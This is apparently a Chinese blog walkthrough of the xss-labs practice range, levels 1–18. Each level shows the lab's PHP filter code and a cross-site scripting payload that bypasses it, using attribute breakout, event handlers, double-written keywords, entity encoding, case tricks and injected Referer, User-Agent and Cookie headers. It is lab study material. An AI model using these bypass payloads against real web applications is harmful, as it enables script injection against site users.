xss-labs练习

发布于:2022-11-13 ⋅ 阅读:(616) ⋅ 点赞:(0)

1 xss-labs练习

1.1 level-1

  通过页面观察test,页面向服务器提交了一个name值,而值就是test,从源码中发现也并未对值进行相关的过滤。
在这里插入图片描述在这里插入图片描述

  那么这样就可以对URL中name进行新的赋值<script>alert(111)</script>
在这里插入图片描述

1.2 level-2

  通对页面的URL判断,和第一关基本上是一样的使用GET方式进行参数传递。
在这里插入图片描述

  使用第一关构建的语句进行测试。发现并无法执行,通过对页面源码查看,发现输入的语句<>均被编码成了实体。这里就可以猜测使用了.htmlspecialchars函数对其提交的参数进行处理。
  .htmlspecialchars函数是把一些预定的字符转换为html实体。

字符:
&(和号)成为&amp;
"(双引号)成为 &quot;
'(单引号)成为 &apos;
<(小于)成为 &lt;
>(大于)成为 &gt;

在这里插入图片描述

  其次可以看到在源码中存有value值并没有被转换,那么就可以对其进行闭合。

闭合前:<input name=keyword  value="<script>alert(1)</script>">
闭合后:<input name=keyword  value=""><script>alert(1)</script>//">
构建语句:"><script>alert(1)</script>//

  解释:“闭合value中等于号后面的”,>闭合value中最后面的>,而且最后面的//是注释后面的语句。
在这里插入图片描述

1.3 level-3

  第三关和第二关差不多,但是在第二关的时候value是没有.htmlspecialchars函数进行实体化,第三关是在value中添加了函数实体化,所以使用闭合已经无法解决了。
在这里插入图片描述

  这里就可以使用onclick事件来进行触发绕过。

绕过后:<input name=keyword  value=''onclick='alert(1)'>	
构建语句:'onclick='alert(1)+单击搜索框

  解释:用前面的单引号闭合value等于号后面的单引号,第二关单引号闭合后面的单引号,或者使用//注释后面的单引号。
在这里插入图片描述

1.4 level-4

  第四关通过输入后对源码查看,一处<>被实体化,还一处<>被过滤。
在这里插入图片描述

  那么这关其实还是可以使用第三关构建的语句进行弹窗,使用onclick事件来进行触发绕过。

绕过后:<input name=keyword  value=""onclick="alert(1)">	
构建语句:"onclick="alert(1)+单击搜索框

  解释:用前面的双引号闭合value等于号后面的双引号,第二关双引号闭合后面的双引号,或者使用//注释后面的双引号。
在这里插入图片描述

1.5 level-5

  输入之前使用的构建的几个语句,发现无法正常绕过,后面通过源码发现添加下划线了,并且在源码中针对前面几关绕过的方式进行了过滤。

源码过滤内容:
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

在这里插入图片描述

  这样的话可以考虑使用超链接来进行实现。

超链接用法:<a href="url">链接文本</a>
构建后:<input name=keyword  value=""><a href=javascript:alert(1)>xss</a>">
构建语句:"><a href=javascript:alert(1)>xss</a>+点击xss

在这里插入图片描述

1.6 level-6

  第六关依旧使用第五关构建的语句进行测试,发现被过滤了。

源码过滤内容:
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

在这里插入图片描述

  在html中对大小写并不敏感,所以可以考虑使用大小写进行绕过。

构建后:<input name=keyword  value=""><a hREf=javascript:alert(1)>xss</a>">
构建语句:"><a hREf=javascript:alert(1)>xss</a>+点击xss

在这里插入图片描述

1.7 level-7

  本关在测试中发现很多参数都被过滤为空了,通过源码发现把之前测试的内容函数都过滤了。

源码过滤内容:
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

在这里插入图片描述

  这里过滤只进行了一次,那么就可以使用双写绕过。

构建后:<input name=keyword  value="" oonnclick="alert(1)"">
构建语句:" oonnclick="alert(1)"

在这里插入图片描述

1.8 level-8

  通过测试,依旧是很多函数都被过滤了,同时闭合的双引号也被过滤了。那这里就需要改变一下思路。

源码过滤内容:
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

在这里插入图片描述

  可以使用工具进行编码,把javascript:alert(1)进行编码转换绕过。

链接:https://pan.baidu.com/s/1c8CuCtbGcyvdQBc0xs9DBA?pwd=wzud 
提取码:wzud 
构建后:</center><center><BR><a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">友情链接</a></center><center><img src=level8.jpg></center>
构建语句:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

在这里插入图片描述

1.9 level-9

  通过查看源码发现,除了在原有的过滤基础上还增加了判断是否含有http://。

源码过滤内容:
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

在这里插入图片描述

  其实这里就可以在第八关构建的语句后面直接添加http://,但是需要在中间加个注释符,否则连接在一起无法正常执行。

构建后:</center><center><BR><a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://">友情链接</a></center><center><img src=level9.png></center>
构建语句:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

在这里插入图片描述

1.10 level-10

  打开页面并未发现存在输入框,并且从源码中发现并未存有input标签内容,那只能去查看一下源码,从源码中发现input是被隐藏了。

源码过滤:
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">

在这里插入图片描述

  通过源码还可以看除了,是对<>进行了实体化,并且无法闭合,那么onclick依旧可以使用,但是由于输入框被隐藏了,在过滤中type=hidden是隐藏,那么就还需要在输入的时候添加一个type=text。

构建后:<input name="t_sort"  value=""onclick="alert()" type="text" type="hidden">
构建语句:t_sort="onclick="alert()" type="text

在这里插入图片描述

1.11 level-11

  本关打开页面依旧是没有输入框,那么使用第十关构建的语句进行测试,发现并没有成功。而且从刚刚第十关跳转过来看到这个属性是referer的。并且从源码中也发现了存在这一条信息。
在这里插入图片描述

在这里插入图片描述

  那么这里就可以针对这个referer进行测试。使用burp抓包进行修改测试,通过抓包发现并没有referer的值,这里可以手动添加,通过测试发现添加的值是能够到t_ref标签的value中的。
在这里插入图片描述

  那么针对这样可以构建语句进行测试。

构建后:<input name="t_ref"  value=""type="text" onclick="alert('xss')" type="hidden">
构建语句:referer:"type="text" onclick="alert('xss')

在这里插入图片描述

1.12 level-12

  通过这关跳转过来的情况来看和上关不同的是获取内容不一样,上一关是获取我们跳过过来的IP地址,这关是获取我们浏览器的信息。
在这里插入图片描述

  并且从源码中也能够看出依旧是对<>进行了实体化,无法进行闭合,并且从源码中也看得出,本关的对User-Agent进行传值,那么依旧可以使用第11关构建的语句进行测试。
在这里插入图片描述

  抓包修改User-Agent的值。

构建后:<input name="t_ua"  value=""type="text" onclick="alert('xss')" type="hidden">
构建语句:User-Agent:"type="text" onclick="alert('xss')

在这里插入图片描述

1.13 level-13

  从源码源码发现第四行变成了cook,这里根据猜想可能是cookie。
在这里插入图片描述

  直接就抓包搞吧,仿照13关修改cookie,发现无法不行。然后去看了一下其他人文章解释抓包抓到的内容cookie和我的不一样。后面来源码才发现,需要加user。

构建后:<input name="t_cook"  value=""type="text" onclick="alert('xss')" type="hidden">
构建语句:Cookie: user="type="text" onclick="alert('xss')

在这里插入图片描述

1.14 level-14

  本关好像有问题,无法测试。

1.15 level-15

  从页面源码中发现,出现了一个ng-include,而ng-include是augular js中的东西,ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。

注意点:
ng-include,如果单纯指定地址,必须要加引号。
ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册。
ng-include,加载外部html中含有style标签样式可以识别。
ng-inclue,记载外部html中的link标签可以加载。

在这里插入图片描述

  那么这里既然是包含外部的html文件,那么是不是就可以将其他html文件,这里就可以使用第一关来进行测试。

构建语句:?src='level1.php?name=<img src=1 onerror=alert(1)>'

在这里插入图片描述

1.16 level-16

  通过页面能够看到这里是存在一个值位的,那么进行测试,通过测试发现存在过滤。
在这里插入图片描述

  script,/,空格等都编码成空格字符实体了。
在这里插入图片描述

代码过滤:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);

通过这样来看,相关的都被过滤,那么就可以考虑使用一个不需要闭合的标  签,例如。并且由于空格也被转换了,那么可以对空格使用编码%0a来代替。

构建语句:<img%0asrc=1%0aonerror=alert(1)>

在这里插入图片描述

1.17 level-17

  这关刚遇到的时候有点懵,回来找了一下相关文章才知道,是由于flash没显示出来。
  使用基本的弹窗进行测试后,发现代码中的关键字都被编码了。
在这里插入图片描述

  套用别人的解释,标签就是引入一个swf文件到浏览器端,并且从源码中看,src值是没添加引号,所以这里就不需要闭合。

构建语句:onmouseover=alert(1)

  通过测试,这里如果使用火狐浏览器的话,可能要装插件,这边直接就使用ie浏览器。而且当参数与a连在一起就会成为一个连接,加上空格后就可以绕过,这样也能表明当与src分开的时候就可以构建出一个不被编码的语句。
在这里插入图片描述

1.18 level-18

  这关和第十七关通关方式是一样的。

构建语句:onmouseover=alert(1)

在这里插入图片描述

1.19 level-19-20

  由于现在flash现在如果访问的话需要装插件,而且这两关涉及的内容比较复杂,搜到的内容,看半天也懵,就不写了。

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到